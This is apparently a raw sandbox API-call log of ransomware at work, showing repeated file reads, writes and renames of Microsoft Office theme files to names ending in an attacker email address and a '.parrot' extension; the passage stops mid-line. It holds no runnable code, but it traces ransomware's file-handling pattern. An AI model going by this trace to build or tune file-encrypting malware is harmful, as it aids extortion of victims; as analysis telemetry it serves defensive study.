ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xa7a5, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xa7a5, lpOverlapped=0x0) returned 1 [0159.191] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0159.196] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.196] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0159.196] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0159.198] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\civic.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\civic.eftx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0159.202] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0159.202] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0159.203] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.204] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x8032, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x8032, lpOverlapped=0x0) returned 1 [0159.205] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0159.207] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.207] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0159.207] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0159.208] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\clarity.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\clarity.eftx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0159.211] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0159.212] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0159.213] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.213] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x825e4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x825e4, lpOverlapped=0x0) returned 1 [0159.218] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0159.234] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.234] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0159.235] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0159.303] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\composite.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\composite.eftx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0159.319] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0159.319] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0159.321] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.321] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5791, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x5791, lpOverlapped=0x0) returned 1 [0159.323] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0159.327] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.327] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0159.327] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0159.329] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\concourse.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\concourse.eftx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0159.335] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0159.335] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0159.336] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.337] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0159.344] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0159.368] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.368] WriteFile (in: hFile=0x284, lpBuffer=0x6a3268*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x6a3268*, lpNumberOfBytesWritten=0x18eed4*=0x118, lpOverlapped=0x0) returned 1 [0159.371] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.371] WriteFile (in: hFile=0x284, lpBuffer=0x2e80040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2e80040*, lpNumberOfBytesWritten=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0159.374] UnlockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1e0839, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0159.374] CloseHandle (hObject=0x284) returned 1 [0159.374] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x659c90 [0159.374] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf0) returned 0x22591d0 [0159.374] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\couture.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\couture.eftx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0159.382] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0159.382] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0159.384] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.384] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4caa1, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x4caa1, lpOverlapped=0x0) returned 1 [0159.387] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0159.397] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.398] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0159.398] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0159.409] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\elemental.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\elemental.eftx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0159.449] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0159.449] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0159.452] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.453] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6023, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x6023, lpOverlapped=0x0) returned 1 [0159.454] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0159.458] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.459] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0159.459] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0159.460] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\equity.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\equity.eftx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0159.465] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0159.465] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0159.466] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.466] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3fde, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3fde, lpOverlapped=0x0) returned 1 [0159.467] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0159.467] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.467] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0159.467] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0159.469] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\essential.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\essential.eftx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0159.473] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0159.473] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0159.475] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.475] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x52a4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x52a4, lpOverlapped=0x0) returned 1 [0159.476] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0159.477] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.477] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0159.477] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0159.477] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\executive.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\executive.eftx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0159.481] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0159.481] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0159.482] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.482] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6818, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x6818, lpOverlapped=0x0) returned 1 [0159.483] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0159.503] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.503] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0159.503] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0159.505] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\flow.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\flow.eftx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0159.509] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0159.509] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0159.510] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.510] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4732, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x4732, lpOverlapped=0x0) returned 1 [0159.511] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0159.512] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.512] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0159.512] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0159.514] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\foundry.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\foundry.eftx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0159.517] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0159.517] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0159.519] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.519] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x48cf, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x48cf, lpOverlapped=0x0) returned 1 [0159.519] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0159.520] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.520] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0159.520] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0159.522] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\grid.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\grid.eftx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0159.525] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0159.525] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0159.528] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.528] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x559e1, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x559e1, lpOverlapped=0x0) returned 1 [0159.531] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0159.539] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.540] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0159.540] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0159.551] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\hardcover.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\hardcover.eftx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0159.646] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0159.646] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0159.647] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.648] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x33892, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x33892, lpOverlapped=0x0) returned 1 [0159.667] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0159.675] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.675] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0159.675] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0159.682] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\horizon.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\horizon.eftx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0159.686] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0159.686] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0159.688] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.688] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x9a7a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x9a7a, lpOverlapped=0x0) returned 1 [0159.689] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0159.897] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.897] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0159.897] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0159.898] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx" (normalized: "c:\\program files\\microsoft office\\document 